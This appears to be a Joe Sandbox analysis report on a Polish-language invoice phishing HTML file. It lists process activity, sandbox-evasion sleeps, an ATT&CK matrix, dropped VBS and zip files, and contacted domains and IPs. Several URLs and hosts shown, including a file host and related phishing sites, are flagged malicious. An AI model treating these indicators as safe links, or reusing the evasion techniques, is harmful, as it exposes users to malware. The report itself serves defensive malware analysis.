Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 2B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: EF0000 memory commit \| memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Window / User API: threadDelayed 485	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Window / User API: threadDelayed 9512	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3193	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6437	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6792	Thread sleep count: 485 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6792	Thread sleep time: -242500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6792	Thread sleep count: 9512 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 6792	Thread sleep time: -4756000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6772	Thread sleep count: 3193 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6760	Thread sleep count: 6437 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3752	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3752	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\unarchiver.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: wscript.exe, 0000000B.00000002.2905465351.0000000005670000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(d
Source: cmd.exe, 00000009.00000002.2903539082.0000000002D07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _VMware_
Source: wscript.exe, 0000000B.00000002.2903297378.00000000028FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3
Source: wscript.exe, 0000000B.00000002.2905465351.0000000005698000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	11 Command and Scripting Interpreter	1 Browser Extensions	111 Process Injection	11 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	1 DLL Side-Loading	1 Extra Window Memory Injection	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report faktura_FV2025020637756.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\0[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_crpvnjca.k1k.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lfs2rq52.hh3.psm1

C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs

C:\Users\user\AppData\Local\Temp\unarchiver.log

C:\Users\user\Downloads\85360e87-479f-4825-bc32-2f6ed42533c1.tmp

C:\Users\user\Downloads\faktura_FV2025020637756.zip (copy)

C:\Users\user\Downloads\faktura_FV2025020637756.zip.crdownload

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
faktura_FV2025020637756.html

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/faktura_FV2025020637756.html	0%	Avira URL Cloud	safe
https://s4.histats.	0%	Avira URL Cloud	safe
https://s4.C24	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
filehost200885.info	156.229.228.198	true	false	unknown
s4.histats.com	149.56.240.129	true	false	high
www.google.com	142.250.186.132	true	false	high
_13621._https.filehost200885.info	unknown	unknown	false	unknown

Name	Malicious	Antivirus Detection	Reputation
https://s4.histats.com/stats/0.php?4935988&@f16&@g1&@h1&@i1&@vhttps://histats.com/d_opened	false		high
file:///C:/Users/user/Desktop/faktura_FV2025020637756.html	true	Avira URL Cloud: safe	unknown
https://s4.histats.com/stats/0.php?4935987&@f16&@g1&@h1&@i1&@vhttps://histats.com/s_opened_TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzNC4wLjAuMCBTYWZhcmkvNTM3LjM2	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
https://s4.histats.com/6	wscript.exe, 0000000B.00000002.2903297378.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/d_opened3	wscript.exe, 0000000B.00000002.2904446853.00000000049F0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/d_openedS	wscript.exe, 0000000B.00000002.2904973246.0000000004C23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.com/sta	wscript.exe, 0000000B.00000002.2903297378.0000000002818000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.	wscript.exe, 0000000B.00000002.2903297378.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://histats.com/d_openedN	wscript.exe, 0000000B.00000002.2904973246.0000000004C23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.C24	wscript.exe, 0000000B.00000002.2903297378.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://s4.histats.com/	wscript.exe, 0000000B.00000002.2903297378.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/d_opened	wscript.exe, 0000000B.00000003.1221154917.00000000028E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.com/stats/0.php?4935988&	wscript.exe, 0000000B.00000002.2904973246.0000000004C23000.00000004.00000020.00020000.00000000.sdmp	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
149.56.240.131	unknown	Canada	16276	OVHFR	true
156.229.228.198	filehost200885.info	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
142.250.186.132	www.google.com	United States	15169	GOOGLEUS	false
149.56.240.129	s4.histats.com	Canada	16276	OVHFR	false

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1636957
Start date and time:	2025-03-13 09:41:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	faktura_FV2025020637756.html
Detection:	MAL
Classification:	mal96.phis.expl.evad.winHTML@42/14@13/8
Cookbook Comments:	Found application associated with file extension: .html

Time	Type	Description
04:43:06	API Interceptor	45x Sleep call for process: powershell.exe modified
04:43:11	API Interceptor	3366531x Sleep call for process: unarchiver.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.56.240.131	https://getwellslogsnowonline.vercel.app/	Get hash	malicious	Unknown	Browse
	https://fooofooofooo.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse
	http://manatoki463.net	Get hash	malicious	Unknown	Browse
	https://lil-loveeeees.blogspot.com/	Get hash	malicious	Unknown	Browse
	https://nakheel-mall.myfreesites.net	Get hash	malicious	Unknown	Browse
	https://loginshshhdd.blogspot.com/	Get hash	malicious	HTMLPhisher	Browse
	https://ff-rewards-redeem-codes-org.github.io/Free-Fire-/	Get hash	malicious	HTMLPhisher	Browse
	odbior_1000710146673U.vbs	Get hash	malicious	Unknown	Browse
	https://circleoftoast.blogspot.com	Get hash	malicious	Unknown	Browse
	https://inscricao.faculdadeitop.edu.br	Get hash	malicious	Unknown	Browse
149.56.240.129	http://68.183.190.199	Get hash	malicious	Unknown	Browse
	El3cE5jq1L.pdf	Get hash	malicious	Unknown	Browse
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse
	http://nomads-primes-pdfs.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse
	https://alluc.co/watch-movies/passengers.html	Get hash	malicious	Unknown	Browse
	https://hy.markkasmick.click/cx/tbSgVco_akr35UznLBgMmL_dGwr4A9B_vyg2WwEB0w1LRjKjQMyEnB89mCfTRy8oqnbpdFunqinBhx0TsHvSJdUHnbksc3kdcKecoDvVHa5LAm46atMmRo3D2CHoEu2bmOqt4Ic8O_7AE7Igwgbi5c8zmZf6Fqp_XqcjREPr7609oL7vKm8FfjGLhMetr2oxtpR3ywH4BUElgc7EI7usxj8CJYEUMktwlb7YUzPvYQ7P1PilEV0LqiXI5sm6QVF4ZGl5TIXhnQLOG0kl6WQ0miiZysBfhaNojnPTUvisUUkwOp2fYTxkXEIhZ7ESJ7qXYLxQbmy4RJVeZZZ3RY5rX8W5t8cudSM9Zx7UaxgLH56aOv81v4QfUnzroT9v7LR3jPEjzYXr2LwuykYQnzvV6boWlogU4jkPE6MocRRlRoC6uUx2e1Wseo8MqGWTT2uXo4HbQDneiMF84sQ34*3TnbAxXWu8xLbb_mAOQxUTA3T5TUUZKeU3ziolM8TSVV5Y5LQTFGtNArddwJKdWCb_cLYMxUJpZ3cqM_A	Get hash	malicious	Unknown	Browse
	https://onlyclips.site/?title=quinnfinite&ref=git	Get hash	malicious	Unknown	Browse
	przesylka_1000758971617U (2).vbs	Get hash	malicious	Unknown	Browse
	przesylka_1000758971617U.vbs	Get hash	malicious	Unknown	Browse
	https://osmannerdeler.info/osnlfdgyonlinesr/fvszzrtpkr	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s4.histats.com	http://ww3.0123movies.com.co	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	54.39.128.162
	http://68.183.190.199	Get hash	malicious	Unknown	Browse	149.56.240.130
	SUS.ps1	Get hash	malicious	Unknown	Browse	142.4.219.198
	analysis.vbs	Get hash	malicious	Unknown	Browse	149.56.240.127
	CfF7MWq7aG.html	Get hash	malicious	Unknown	Browse	142.4.219.198
	https://getwellslogsnowonline.vercel.app/	Get hash	malicious	Unknown	Browse	149.56.240.132
	https://fooofooofooo.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse	149.56.240.127
	El3cE5jq1L.pdf	Get hash	malicious	Unknown	Browse	149.56.240.129
	http://home45insurance.blogspot.com	Get hash	malicious	Unknown	Browse	54.39.128.162
	http://jinoodle-polopol.b-cdn.net/	Get hash	malicious	TechSupportScam	Browse	149.56.240.27

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OVHFR	https://sceanmcommnunmnlty.com/xroea/spwoe/zxiwe	Get hash	malicious	Unknown	Browse	91.134.10.168
	http://feirao2025.com.br/consulta/	Get hash	malicious	Unknown	Browse	91.134.60.128
	miori.arm.elf	Get hash	malicious	Unknown	Browse	142.44.221.81
	http://americanlibertywatch.com	Get hash	malicious	Unknown	Browse	91.134.110.137
	WizClient.exe	Get hash	malicious	XWorm	Browse	91.134.10.168
	https://www.dkgroup.fr	Get hash	malicious	Unknown	Browse	137.74.137.164
	skuld.exe	Get hash	malicious	Go Stealer, Skuld Stealer	Browse	51.91.7.6
	PURCHASE-ORDER-SINCOAUTOMATION-PO3223090781-Ref 6421SINCO-AUTOMATION.exe	Get hash	malicious	FormBook	Browse	5.196.134.71
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	91.134.10.168
